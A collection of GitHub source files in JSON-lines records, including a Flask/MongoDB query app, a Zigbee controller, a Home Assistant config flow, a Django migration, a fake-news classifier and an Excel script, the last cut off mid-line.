+{"seq_id":"32435566939","text":"from flask import Flask, render_template, redirect, request\r\nfrom pymongo import MongoClient\r\nimport pandas as pd\r\n\r\napp = Flask(__name__)\r\nclient = MongoClient('mongodb://mesiin592022-0022.westeurope.cloudapp.azure.com:30000/')\r\ndb = client['SalesDB']\r\ncollection = db['Unique_table']\r\n\r\nclasses = \"table table-striped table-bordered\"\r\n\r\nlim = 5\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef home():\r\n    global lim\r\n    lim = request.args.get(\"lim\")\r\n    lim = 5 if lim is None else int(lim)\r\n    return render_template('base.html')\r\n\r\n@app.route('/requete1', methods=(\"POST\", \"GET\"))\r\ndef requete1():\r\n    R1 = [{'$match': {\"FirstName_customer\": \"Joseph\"}}, {'$project': {\"SalesID\": 1, \"FirstName_customer\": 1, \"_id\": 0}}]\r\n    result = list(collection.aggregate(R1))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('simple.html', requete_nb=\"Requete 1\",  result=df.to_html(classes=\"table table-striped table-bordered\", index=False))\r\n\r\n@app.route('/requete2', methods=(\"POST\", \"GET\"))\r\ndef requete2():\r\n    R2 = [{'$match': {'LastName_employee': 'Ringer'}}, {'$group': {'_id': '$LastName_employee','Sum of quantity': {'$sum': '$Quantity'}}}]\r\n    result = list(collection.aggregate(R2))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('simple.html', requete_nb=\"Requete 2\",  result=df.to_html(classes=\"table table-striped table-bordered\", index=False))\r\n\r\n@app.route('/requete3', methods=(\"POST\", \"GET\"))\r\ndef requete3():\r\n    R3 = [{'$match': {\"Name\":{ '$regex' : 'de', '$options' : 'i' }, \"Price\":{'$lt': 500}}},{'$project': {\"SalesID\":1,\"Price\":1,\"_id\":0}}]\r\n    result = list(collection.aggregate(R3))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('simple.html', requete_nb=\"Requete 3\",  result=df.to_html(classes=\"table table-striped table-bordered\", index=False))\r\n\r\n@app.route('/requete4', methods=(\"POST\", \"GET\"))\r\ndef requete4():\r\n    R4 = [{'$match': {'$expr': {'$lt': [{'$strLenCP': '$FirstName_employee'}, {'$strLenCP': '$LastName_customer'}]}}}, {'$project': {'Name': 1,'FirstName_employee': 1,'LastName_customer': 1,'_id': 0}}]\r\n    result = list(collection.aggregate(R4))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('simple.html', requete_nb=\"Requete 4\",  result=df.to_html(classes=\"table table-striped table-bordered\", index=False))\r\n\r\n@app.route('/requete5', methods=(\"POST\", \"GET\"))\r\ndef requete5():\r\n    middleName_employee = request.args.get(\"middleName_employee\")\r\n    middleName_employee = 'e' if middleName_employee is None else middleName_employee\r\n    somme = request.args.get(\"somme\")\r\n    somme = 1000 if (somme is None or somme=='') else int(somme)\r\n\r\n    R5 = [{'$group': {'_id': '$CustomerID','FirstName_customer': {'$first': '$FirstName_customer'},'LastName_customer': {'$first': '$LastName_customer'},'MiddleInitial_employee': {'$first': '$MiddleInitial_employee'},'Somme du nombre d\\'achats': {'$sum': '$Quantity'}}}, {'$match': {'MiddleInitial_employee': middleName_employee,'Somme du nombre d\\'achats': {'$gte': somme}}}, {'$project': {'FirstName_customer': 1,'LastName_customer': 1,'_id': 0}}, {'$sort': {'LastName_customer': 1}}]\r\n    result = list(collection.aggregate(R5))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('hard_5.html', requete_nb=\"Requete 5\", result=df.to_html(classes=\"table table-striped table-bordered\", index=False), req=R5)\r\n\r\n@app.route('/requete6', methods=(\"POST\", \"GET\"))\r\ndef requete6():\r\n    limite = request.args.get(\"limite\")\r\n    limite = 1 if limite is None else int(limite)\r\n\r\n    R6 = [{'$project': {'Benefit': {'$multiply': ['$Quantity','$Price']},'EmployeeID': 1,'FirstName_employee': 1,'Quantity': 1,'CustomerID': 1,'Price': 1}}, {'$group': {'_id': {'EmployeeID': '$EmployeeID','CustomerID': '$CustomerID'},'CustomerID': {'$first': '$CustomerID'},'EmployeeID': {'$first': '$EmployeeID'},'FirstName_employee': {'$first': '$FirstName_employee'},'Somme des benefices': {'$sum': '$Benefit'}}}, {'$sort': {'Somme des benefices': 1}}, {'$limit': limite}, {'$project': {'FirstName_employee': 1,'_id': 0}}]\r\n    result = list(collection.aggregate(R6))\r\n    df = pd.DataFrame(result).head(limite)\r\n    return render_template('hard_6.html', requete_nb=\"Requete 6\", result=df.to_html(classes=\"table table-striped table-bordered\", index=False), req=R6)\r\n\r\n@app.route('/requete7', methods=(\"POST\", \"GET\"))\r\ndef requete7():\r\n    nb = request.args.get(\"nb\")\r\n    nb = 3 if nb is None else int(nb)\r\n\r\n    R7 = [{'$match': {'$expr': {'$ne': ['$FirstName_customer','$FirstName_employee']}}}, {'$group': {'_id': {'CustomerID': '$CustomerID','LastName_employee': '$LastName_employee'},'LastName_customer': {'$first': '$LastName_customer'},'DistinctCount': {'$sum': 1}}}, {'$match': {'DistinctCount': {'$gte': nb}}}, {'$project': {'LastName_customer': 1,'_id': 0}}, {'$sort': {'LastName_customer': 1}}]\r\n    result = list(collection.aggregate(R7))\r\n    df = pd.DataFrame(result).head(lim)\r\n    return render_template('hard_7.html', requete_nb=\"Requete 7\", result=df.to_html(classes=\"table table-striped table-bordered\", index=False), req=R7)\r\n\r\n@app.route('/requete8', methods=(\"POST\", \"GET\"))\r\ndef requete8():\r\n    middleName_employee1 = request.args.get(\"middleName_employee1\")\r\n    middleName_employee1 = 'e' if middleName_employee1 is None else middleName_employee1\r\n    limite1 = request.args.get(\"limite1\")\r\n    limite1 = 1 if limite1 is None else int(limite1)\r\n\r\n    R8 = [{'$match': {'MiddleInitial_employee': middleName_employee1}}, {'$group': {'_id': {'EmployeeID': '$EmployeeID','ProductID': '$ProductID'},'Name': {'$first': '$Name'},'Nb': {'$sum': '$Quantity'}}}, {'$sort': {'Nb': -1}}, {'$limit': limite1}, {'$project': {'Name': 1,'Nb': 1,'_id': 0}}]\r\n    result = list(collection.aggregate(R8))\r\n    df = pd.DataFrame(result).head(limite1)\r\n    return render_template('hard_8.html', requete_nb=\"Requete 8\", result=df.to_html(classes=\"table table-striped table-bordered\", index=False), req=R8)\r\n\r\n@app.route('/adminView', methods=(\"POST\", \"GET\"))\r\ndef adminView():\r\n    infos = db.command(\"collstats\", \"Unique_table\")\r\n    indexes_existants = list(infos[\"indexSizes\"].keys())\r\n    nb_shards = len(infos[\"shards\"])\r\n    nb_chunks = infos[\"nchunks\"]\r\n    stats = []\r\n    for k, v in infos[\"shards\"].items():\r\n        stats.append({\r\n            \"Nom du Shard\": k,\r\n            \"Nombre de documents\": infos[\"shards\"][k][\"count\"],\r\n            \"Taille des données stockées\": str(round(infos[\"shards\"][k][\"size\"] * 1e-6, 2)) + \" Mo\",\r\n            \"Pourcentage des données stockées\": str(round(infos[\"shards\"][k][\"size\"] / infos[\"size\"] * 100, 2)) + \"%\"\r\n        })\r\n    stats = pd.DataFrame(stats).sort_values(\"Nom du Shard\")\r\n    return render_template('AdminView.html',\r\n                           indexes_existants=indexes_existants,\r\n                           nb_shards=nb_shards,\r\n                           nb_chunks=nb_chunks,\r\n                           result=stats.to_html(classes=\"table table-striped table-bordered\", index=False))\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)","repo_name":"rolanddenizot/Structures_de_donnes_Cloud_Rapport_4","sub_path":"Rapport 4/App_Cloud/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"69839333950","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\ncontroller.py\nZigbee controller\nHolding & caching system state, throtling interactions, managing interrupts & watchdog\n'''\n\nimport asyncio\nimport logging\nimport time\n\nfrom zigbee import State\n\n# Minimum time between two SetState calls [seconds]\nSETSTATE_MIN_PERIOD = 1.\n# Periodic update of internal state with hardware [seconds]\nUPDATE_PERIOD = 30.\n# Watchdog: perdiod of inactivity (no connexion with gateway) after which to revert to a safe state [seconds]\nWATCHDOG_PERIOD = 3*60*60 # 3h\nWATCHDOG_SAFE_STATE = State.OFF\nWATCHDOG_UNSAFE_STATES = [State.ON]\n\n\nclass ZBCtrl():\n    '''Main controller for Zigbee, holding & caching system state'''\n\n    def __init__(self, zbi, devices):\n        '''Constructor: zbi ZBInterface object, devices list of known IDs (IEEE/EUI64)'''\n        # Zigbee interface\n        self.zbi = zbi\n        # Internal state and its lock to R/W it\n        self._state = {device: State.NA for device in devices}\n        #self._state = {\n        #        '70:ac:08:ff:fe:7e:0b:xx': State.OFF # IKEA of Sweden TRADFRI control outlet\n        #}\n        self.lock = asyncio.Lock()\n        # Throttling: last change time and its lock to R/W it\n        self.lastChange = time.time()\n        self.lastChangeLock = asyncio.Lock()\n        # Watchdog: last contact time and its lock to R/W it\n        self.lastContact = time.time()\n        self.lastContactLock = asyncio.Lock()\n        # Periodic update & running state\n        self.updateTask = None\n\n    async def start(self):\n        '''Start the controller, its timer and its dependencies (incl. ZBInterface)'''\n        await self.zbi.start(self._stateChangeCallback)\n        self.running = True\n        self.updateTask = asyncio.create_task(self._periodicUpdate())\n        #await self.updateTask\n\n    async def stop(self):\n        ''' Stop controller, its timer and its dependencies'''\n        self.running = False\n        self.updateTask.cancel()\n        await self.zbi.stop()\n\n    async def _stateChangeCallback(self, device, state):\n        '''Handle state change event'''\n        logging.info('Event: updating state: %s=%r' % (device, state))\n        async with self.lock:\n            devices = self._state.keys()\n        if device in devices:\n            async with self.lock:\n                self._state[device] = state\n\n    async def _periodicUpdate(self):\n        '''Periodically update the internal state and let the watchdog out'''\n        if self.running:\n            logging.info('Running periodic update')\n            # Internal state update\n            logging.debug('  Updating internal state')\n            async with self.lock:\n                devices = self._state.keys()\n            async def updateDeviceState(device):\n                try:\n                    newState = await self.zbi.getDeviceState(device)\n                    async with self.lock:\n                        self._state[device] = newState\n                except Exception as e:\n                    logging.error('Unable to get actual state for device %s: %r' % (device, e))\n            await asyncio.gather(*[updateDeviceState(device) for device in devices])\n            # Watchdog\n            logging.debug('  Walking out the watchdog')\n            async with self.lastContactLock:\n                now = time.time()\n                if now - self.lastContact > WATCHDOG_PERIOD:\n                    logging.warning('    Watchdog: WOOF no news for too long, reverting to safe state')\n                    async with self.lock:\n                        unsafeDevices = [device for device in self._state if self._state[device] in WATCHDOG_UNSAFE_STATES]\n                    async def setSafeDeviceState(device):\n                        logging.info('    Reverting device %s to safe state: %s' % (device, WATCHDOG_SAFE_STATE))\n                        try:\n                            newState = await self.zbi.setDeviceState(device, WATCHDOG_SAFE_STATE)\n                            async with self.lock:\n                                self._state[device] = newState\n                        except Exception as e:\n                            logging.error('    Unable to revert device %s to safe state: %r' % (device, e))\n                    await asyncio.gather(*[setSafeDeviceState(device) for device in unsafeDevices])\n                    self.lastContact = time.time()\n            logging.debug('  Periodic update completed. Waiting for %fs' % UPDATE_PERIOD)\n            await asyncio.sleep(UPDATE_PERIOD)\n            # Relaunching timer (rechecking if still running as it may have changed in between)\n            if self.running:\n                self.updateTask = asyncio.create_task(self._periodicUpdate())\n\n    async def getState(self):\n        # Reassuring watchdog\n        async with self.lastContactLock:\n            self.lastContact = time.time()\n        # Returning state\n        async with self.lock:\n            return self._state.copy()\n\n    async def setState(self, newState):\n        # Reassuring watchdog\n        async with self.lastContactLock:\n            self.lastContact = time.time()\n        # Throttling\n        async with self.lastChangeLock:\n            now = time.time()\n            if now - self.lastChange < SETSTATE_MIN_PERIOD:\n                logging.warning('Only %fs since last call, throttling!' % (now - self.lastChange))\n                raise ValueError('Throttling: too many setState requests')\n            self.lastChange = now\n        # Applying changes\n        stateChanges = {}\n        async with self.lock:\n            for device in self._state:\n                if device in newState and self._state[device] != newState[device] and newState[device] in [State.ON, State.OFF]:\n                    stateChanges[device] = newState[device]\n        async def applyStateChange(device, newDeviceState):\n            logging.info('Changing state: %s=%s' % (device, newDeviceState))\n            actualNewDeviceState = await self.zbi.setDeviceState(device, newDeviceState)\n            async with self.lock:\n                self._state[device] = actualNewDeviceState\n        await asyncio.gather(*[applyStateChange(device, stateChanges[device]) for device in stateChanges])\n\n\nif __name__ == '__main__':\n    from zigbee import ZBInterface\n    logging.basicConfig(format='%(asctime)s %(levelname)s %(module)s/%(funcName)s %(message)s', encoding='utf-8', level=logging.INFO)\n    async def main():\n        zbi = ZBInterface()\n        devices = [\n            '70:ac:08:ff:fe:7e:0b:xx', # IKEA of Sweden TRADFRI control outlet\n        ]\n        ctrl = ZBCtrl(zbi, devices)\n        await ctrl.start()\n        outlet = '70:ac:08:ff:fe:7e:0b:xx'\n        logging.info(ctrl.getState())\n        logging.info(await ctrl.setState({outlet: State.ON}))\n        logging.info(ctrl.getState())\n        await asyncio.sleep(15)\n        logging.info(ctrl.getState())\n        logging.info(await ctrl.setState({outlet: State.OFF}))\n        await asyncio.sleep(15)\n        logging.info(ctrl.getState())\n        logging.info(await ctrl.setState({outlet: State.ON}))\n        logging.info(ctrl.getState())\n        await asyncio.sleep(15)\n        logging.info(ctrl.getState())\n        await ctrl.stop()\n    asyncio.run(main())\n","repo_name":"ekingr/zigbee","sub_path":"controller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":7227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33205208220","text":"scores = [float(i) for i in input().split()]\nmin = scores[0]\nmax = scores[0]\nsum = 0.\n\nfor i, value in enumerate(scores):\n    if min > value:\n        min = value\n    if max < value:\n        max = value\n    sum += value\nsum = (sum - min - max)/2.\nprint(round(sum, 2))","repo_name":"vikimark/2190101_Com_Prog","sub_path":"03_If/03_If_★_Gymnastic_Score.py","file_name":"03_If_★_Gymnastic_Score.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74030752511","text":"\"\"\"Adds config flow for FlexMeasure.\"\"\"\nfrom __future__ import annotations\n\nimport logging\n\nimport voluptuous as vol\nfrom croniter import croniter\nfrom homeassistant import config_entries\nfrom homeassistant.const import CONF_NAME\nfrom homeassistant.const import CONF_UNIT_OF_MEASUREMENT\nfrom homeassistant.const import CONF_VALUE_TEMPLATE\nfrom homeassistant.helpers import selector\nfrom homeassistant.helpers.template import Template\nfrom homeassistant.helpers.template import TemplateError\n\nfrom .const import CONF_CONDITION\nfrom .const import CONF_CRON\nfrom .const import CONF_METER_TYPE\nfrom .const import CONF_PERIODS\nfrom .const import CONF_SENSORS\nfrom .const import CONF_SOURCE\nfrom .const import CONF_TW_DAYS\nfrom .const import CONF_TW_FROM\nfrom .const import CONF_TW_TILL\nfrom .const import DOMAIN\nfrom .const import METER_TYPE_SOURCE\nfrom .const import METER_TYPE_TIME\nfrom .const import PREDEFINED_PERIODS\n\n\n_LOGGER: logging.Logger = logging.getLogger(__name__)\nMETER_TYPES_MENU = [\"time\", \"source\"]\nPERIOD_MENU = [\"predefined\", \"custom\"]\nPERIOD_MENU_DONE = [\"predefined\", \"custom\", \"done\"]\n\nPERIOD_OPTIONS = [\n    # selector.SelectOptionDict(value=\"none\", label=\"none (no reset)\"),\n    selector.SelectOptionDict(value=\"5m\", label=\"5m\"),\n    selector.SelectOptionDict(value=\"hour\", label=\"hour\"),\n    selector.SelectOptionDict(value=\"day\", label=\"day\"),\n    selector.SelectOptionDict(value=\"week\", label=\"week\"),\n    selector.SelectOptionDict(value=\"month\", label=\"month\"),\n    selector.SelectOptionDict(value=\"year\", label=\"year\"),\n]\n\nDAY_OPTIONS = [\n    selector.SelectOptionDict(value=\"0\", label=\"monday\"),\n    selector.SelectOptionDict(value=\"1\", label=\"tuesday\"),\n    selector.SelectOptionDict(value=\"2\", label=\"wednesday\"),\n    selector.SelectOptionDict(value=\"3\", label=\"thursday\"),\n    selector.SelectOptionDict(value=\"4\", label=\"friday\"),\n    selector.SelectOptionDict(value=\"5\", label=\"saturday\"),\n    selector.SelectOptionDict(value=\"6\", label=\"sunday\"),\n]\nDEFAULT_DAYS = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\"]\n\n\nclass FlexMeasureConfigFlow(config_entries.ConfigFlow, domain=DOMAIN):\n    def __init__(self) -> None:\n        super().__init__()\n        self._sensor_config = {}\n        self._data = {}\n        self._data[CONF_SENSORS] = []\n\n    def is_valid_cron(self, value: str) -> bool:\n        return croniter.is_valid(value)\n\n    def is_valid_template(self, value: str) -> bool:\n        if not value:\n            return True\n        template = Template(value)\n        try:\n            template.ensure_valid()\n            return True\n        except TemplateError:\n            return False\n\n    async def async_step_user(self, user_input=None):\n        return self.async_show_menu(step_id=\"user\", menu_options=METER_TYPES_MENU)\n\n    async def async_step_time(self, user_input=None):\n        errors = {}\n        if user_input is not None:\n            if not self.is_valid_template(user_input.get(CONF_VALUE_TEMPLATE)):\n                errors[CONF_VALUE_TEMPLATE] = \"invalid template\"\n\n            if not errors:\n                self._data[CONF_METER_TYPE] = METER_TYPE_TIME\n                self._data[CONF_NAME] = user_input[CONF_NAME]\n                self._sensor_config[CONF_UNIT_OF_MEASUREMENT] = user_input.get(\n                    CONF_UNIT_OF_MEASUREMENT\n                )\n                self._sensor_config[CONF_VALUE_TEMPLATE] = user_input.get(\n                    CONF_VALUE_TEMPLATE\n                )\n                return await self.async_step_when()\n\n        schema = vol.Schema(\n            {\n                vol.Required(CONF_NAME): selector.TextSelector(),\n                vol.Optional(CONF_UNIT_OF_MEASUREMENT): selector.TextSelector(),\n                vol.Optional(CONF_VALUE_TEMPLATE): selector.TemplateSelector(),\n            }\n        )\n        return self.async_show_form(step_id=\"time\", data_schema=schema, errors=errors)\n\n    async def async_step_source(self, user_input=None):\n        errors = {}\n        if user_input is not None:\n            if not self.is_valid_template(user_input.get(CONF_VALUE_TEMPLATE)):\n                errors[CONF_VALUE_TEMPLATE] = \"invalid template\"\n\n            if not errors:\n                self._data[CONF_METER_TYPE] = METER_TYPE_SOURCE\n                self._data[CONF_NAME] = user_input[CONF_NAME]\n                self._data[CONF_SOURCE] = user_input[CONF_SOURCE]\n                self._sensor_config[CONF_UNIT_OF_MEASUREMENT] = user_input.get(\n                    CONF_UNIT_OF_MEASUREMENT\n                )\n                self._sensor_config[CONF_VALUE_TEMPLATE] = user_input.get(\n                    CONF_VALUE_TEMPLATE\n                )\n                return await self.async_step_when()\n\n        schema = vol.Schema(\n            {\n                vol.Required(CONF_NAME): selector.TextSelector(),\n                vol.Required(CONF_SOURCE): selector.EntitySelector(),\n                vol.Optional(CONF_UNIT_OF_MEASUREMENT): selector.TextSelector(),\n                vol.Optional(CONF_VALUE_TEMPLATE): selector.TemplateSelector(),\n            }\n        )\n        return self.async_show_form(step_id=\"source\", data_schema=schema, errors=errors)\n\n    async def async_step_when(self, user_input=None):\n        errors = {}\n        _LOGGER.debug(\"User input: %s\", user_input)\n\n        if user_input is not None:\n            if not self.is_valid_template(user_input.get(CONF_CONDITION)):\n                errors[CONF_CONDITION] = \"invalid_template\"\n            if not len(user_input.get(CONF_TW_DAYS)) > 0:\n                errors[CONF_TW_DAYS] = \"at_least_one_day\"\n\n            if not errors:\n                self._data.update(user_input)\n                return await self.async_step_periods()\n\n        schema = vol.Schema(\n            {\n                vol.Optional(CONF_CONDITION): selector.TemplateSelector(),\n                vol.Optional(\n                    CONF_TW_DAYS, default=DEFAULT_DAYS\n                ): selector.SelectSelector(\n                    selector.SelectSelectorConfig(\n                        options=DAY_OPTIONS,\n                        multiple=True,\n                        mode=selector.SelectSelectorMode.LIST,\n                    ),\n                ),\n                vol.Required(CONF_TW_FROM): selector.TimeSelector(),\n                vol.Required(CONF_TW_TILL): selector.TimeSelector(),\n            }\n        )\n        return self.async_show_form(step_id=\"when\", data_schema=schema, errors=errors)\n\n    async def async_step_periods(self, user_input=None):\n        if len(self._data.get(CONF_SENSORS, 0)) > 0:\n            return self.async_show_menu(\n                step_id=\"periods\", menu_options=PERIOD_MENU_DONE\n            )\n        return self.async_show_menu(step_id=\"periods\", menu_options=PERIOD_MENU)\n\n    async def async_step_predefined(self, user_input=None):\n        errors = {}\n        if user_input is not None:\n\n            if not errors:\n                _LOGGER.debug(\"Selected periods: %s.\", user_input[CONF_PERIODS])\n                for period in user_input[CONF_PERIODS]:\n                    sensor = dict(self._sensor_config)\n                    sensor[CONF_NAME] = period\n                    sensor[CONF_CRON] = PREDEFINED_PERIODS[period]\n                    self._data[CONF_SENSORS].append(sensor)\n                _LOGGER.debug(\"Sensors: %s.\", self._data)\n                return await self.async_step_periods()\n\n        schema = vol.Schema(\n            {\n                vol.Optional(CONF_PERIODS): selector.SelectSelector(\n                    selector.SelectSelectorConfig(\n                        options=PERIOD_OPTIONS,\n                        multiple=True,\n                        mode=selector.SelectSelectorMode.LIST,\n                    )\n                )\n            }\n        )\n        return self.async_show_form(\n            step_id=\"predefined\", data_schema=schema, errors=errors\n        )\n\n    async def async_step_custom(self, user_input=None):\n\n        errors = {}\n        if user_input is not None:\n\n            if not self.is_valid_cron(user_input[CONF_CRON]):\n                errors[CONF_CRON] = \"invalid cron pattern\"\n            if not self.is_valid_template(user_input.get(CONF_VALUE_TEMPLATE)):\n                errors[CONF_VALUE_TEMPLATE] = \"invalid template\"\n\n            if not errors:\n                self._data[CONF_SENSORS].append(user_input)\n                return await self.async_step_periods()\n\n        schema = vol.Schema(\n            {\n                vol.Required(CONF_NAME): selector.TextSelector(),\n                vol.Required(CONF_CRON): selector.TextSelector(),\n                # vol.Optional(CONF_DURATION): selector.DurationSelector(\n                #     selector.DurationSelectorConfig(enable_day=True)\n                # ),\n                vol.Optional(CONF_UNIT_OF_MEASUREMENT): selector.TextSelector(),\n                vol.Optional(CONF_VALUE_TEMPLATE): selector.TemplateSelector(),\n            }\n        )\n        return self.async_show_form(step_id=\"custom\", data_schema=schema, errors=errors)\n\n    async def async_step_done(self, user_input=None):\n        _LOGGER.debug(\"All stored data: %s\", self._data)\n\n        return self.async_create_entry(\n            title=self._data[CONF_NAME], data={}, options=self._data\n        )\n","repo_name":"danieldotnl/ha-flexmeasure","sub_path":"custom_components/flexmeasure/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":9203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31043532374","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Area',\n            fields=[\n                ('id', models.AutoField(primary_key=True, verbose_name='ID', auto_created=True, serialize=False)),\n                ('name', models.CharField(max_length=100)),\n                ('poly', django.contrib.gis.db.models.fields.PolygonField(srid=4326)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n    ]\n","repo_name":"dedsm/maps_test","sub_path":"maps/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"5832677362","text":"import unittest\nimport sqlite3\nimport json\nimport os\nimport ml\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import accuracy_score\n\n# TRAINING OUR MODEL\ndf = pd.read_csv('cleaned_kaggle_news.csv')\n\n# Split the data\nDV = 'fake_news' # The dependent variable, text is the independent variable here\n\nX = df.drop([DV], axis = 1) # Drop from our X array because this is the text data that gets trained\ny = df[DV]\n\n# Training on 75% of the data, test on the rest\nX_train, X_test, y_train, y_test = train_test_split(X,y, test_size = 0.25)\n\ncount_vect = CountVectorizer(max_features = 10000) # limiting to 5000, but room to play with this here!\nX_train_counts = count_vect.fit_transform(X_train['text']) \n# print(count_vect.vocabulary_) # here is our bag of words! \nX_test = count_vect.transform(X_test['text']) # note: we don't fit it to the model! Or else this is all useless\n\n\n# Fit the training dataset on the NB classifier\nNaive = MultinomialNB()\nNaive.fit(X_train_counts, y_train)\n\n\n# Predict the labels on validation dataset\npredictions_NB = Naive.predict(X_test)\n\n# classifier() takes text, a list of strings, as a parameter \n# This function classifies text as 'Fake News' or 'True News'\n# Return 0 for Fake News and 1 for True News\ndef classifier(text):\n    Naive = MultinomialNB()\n    Naive.fit(X_train_counts, y_train)\n    \n    word_vec = count_vect.transform(text) \n    \n    predict = Naive.predict(word_vec)\n    return 0 if predict[0] else 1\n\n# Connects this file to the database\n# setUpDataBase() takes db_name, a string, as a parameter \n# creating a database with db_name\ndef setUpDatabase(db_name):\n    path = os.path.dirname(os.path.abspath(__file__))\n    conn = sqlite3.connect(path+'/'+db_name)\n    cur = conn.cursor()\n    return cur, conn\n\n# Retrieves the source ID from the 'Sources' table in the database and \n# checks if Source exists in table already \n# setSourceID() takes curr + conn (for connecting to database) \n# and source_name, a string, the name of a table in a database\n# returns the source_id associated with that source\ndef getSourceID(cur, conn, source_name):\n\n    cur.execute('CREATE TABLE IF NOT EXISTS Sources (source_id INT, source_name TEXT)')\n    \n    cur.execute('SELECT source_id, source_name FROM Sources')\n    \n    id_name_tups = cur.fetchall()\n    source_ids = [tup[0] for tup in id_name_tups]\n    source_names = [tup[1] for tup in id_name_tups]\n\n    # if we already have this source in the sources_table\n    if source_name in source_names:\n        cur.execute('SELECT source_id FROM Sources WHERE Sources.source_name = \"{}\"'.format(source_name))\n        source_id = cur.fetchone()[0]\n        \n    # if we don't already have this source in the sources table\n    else:\n        highest_id = getHighestId(cur, conn, 'source_id', 'Sources')\n        cur.execute('INSERT INTO Sources (source_id, source_name) VALUES (?,?)', (highest_id, source_name))\n        source_id = highest_id\n    \n    conn.commit()\n    return source_id\n\n# Retrieves the highest ID for a respective table to ensure ID is unique\n# getHighestID() takes curr + conn (for connecting to database) as a parameter\n# and takes column_name, a string, (of a table) and table_name, a string \n# returns the highest ID for a column\ndef getHighestId(cur, conn, column_name, table_name):\n    cur.execute('SELECT {} FROM {}'.format(column_name, table_name))\n    \n    section_id_list = [int(tup[0]) for tup in cur.fetchall()]\n\n    if section_id_list != []: \n        highest_id = max(section_id_list) + 1\n    \n    else:\n        highest_id = 0\n    \n    conn.commit()\n    return highest_id\n\n# Creates 'Calculation_Table'\n# Grabs source_id, article/tweet_id, and content from columns in NYT, Twitter, New API, and WSJ table\n# Inputs data into the 'Calculation_Table' from tables and machine learning calculation based on content\n# takes curr + conn (for connecting to database) as a parameter\n# The columns in the table are as follows: source_id, article_id, ml_classification\ndef compileCalculationTable(cur, conn):\n    cur.execute('DROP TABLE IF EXISTS Calculation_Table')\n\n    # source_id, article_id, classified as real or fake, expected real or fake\n    cur.execute('CREATE TABLE IF NOT EXISTS Calculation_Table (source_id INT, article_id INT, ml_classification INT)')\n\n    # Retrieves Source ID, Article/Tweet ID, and Content of Article/Tweet from respective tables\n    cur.execute('SELECT source_id, article_id, article_content FROM NYT_ArticleContent')\n    nyt_article_tuples = cur.fetchall()\n\n    cur.execute('SELECT SourceId, ArticleId, Title FROM News_API')\n    news_api_article_tuples = cur.fetchall()\n\n    cur.execute('SELECT SourceId, TweetId, Tweet FROM Twitter')\n    twitter_article_tuples = cur.fetchall()\n\n    cur.execute('SELECT source_id, article_id, article_content FROM WSJ_Article_Content')\n    wsj_article_tuples = cur.fetchall()\n\n    # Creates tuple of all data gathered \n    all_source_tuples = nyt_article_tuples + news_api_article_tuples + twitter_article_tuples + wsj_article_tuples\n    \n    # Loops through tuples \n    for tup in all_source_tuples:\n        source_id = tup[0]\n        article_id = tup[1]\n        article_content = tup[2]\n\n        # MACHINE LEARNING CALCULATION\n        ml_classification = ml.classifier([article_content])\n\n        cur.execute('INSERT INTO Calculation_Table (source_id, article_id, ml_classification) VALUES (?,?,?)', (tup[0], tup[1], ml_classification))\n\n    conn.commit()\n\n# Connects to finalProject.db and inserts data into 'Calculation_Table' table  \ndef main():\n    cur, conn = setUpDatabase('finalProject.db')\n    compileCalculationTable(cur, conn)\n    conn.close()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"gho19/Detecting-Fake-News-ML","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70634368511","text":"import openpyxl\nimport unidecode\nimport os\n\nwb = openpyxl.load_workbook(\"Semilleros_2020.xlsx\")\n\nannouncement_ws = wb[\"CONVOCATORIAS\"]\ndue_teachers_ws = wb[\"Profesores_Mora\"]\n\n# Obtiene la lista de los profesores en mora\n# La lista contendra listas con las palabras individuales de los profesores\n\ndue_teachers_column = 1\ndue_teachers_start_row = 4\ndue_teachers_names = []\n\n# Recorre las filas con las celdas con los nombres de los profesores\nfor row in due_teachers_ws.iter_rows(min_row=due_teachers_start_row, \n                                    max_row=due_teachers_ws.max_row,\n                                    min_col=1,\n                                    max_col=1):\n    # Extrae la celda de la fila\n    due_teacher_cell = row[0]\n    # Verifica que la celda no este  vacia\n    if not due_teacher_cell.value or not due_teacher_cell.value.strip():\n        continue\n    # Extrae el nombre tal cual esta en la celda y le quita los espacios laterales\n    due_teacher_raw_name = due_teacher_cell.value.strip()\n    # Extrae las palabras individuales del nombre\n    due_teacher_name = due_teacher_raw_name.split(\" \")\n    temp = due_teacher_name\n    # Sanitiza los nombres para sacar los espacios sobrantes\n    due_teacher_name = [name.strip() for name in temp if name.strip()]\n    \n    # Sanitiza los nombres para sacar los acentos\n    for index,word in enumerate(due_teacher_name):\n\n        due_teacher_name[index] = 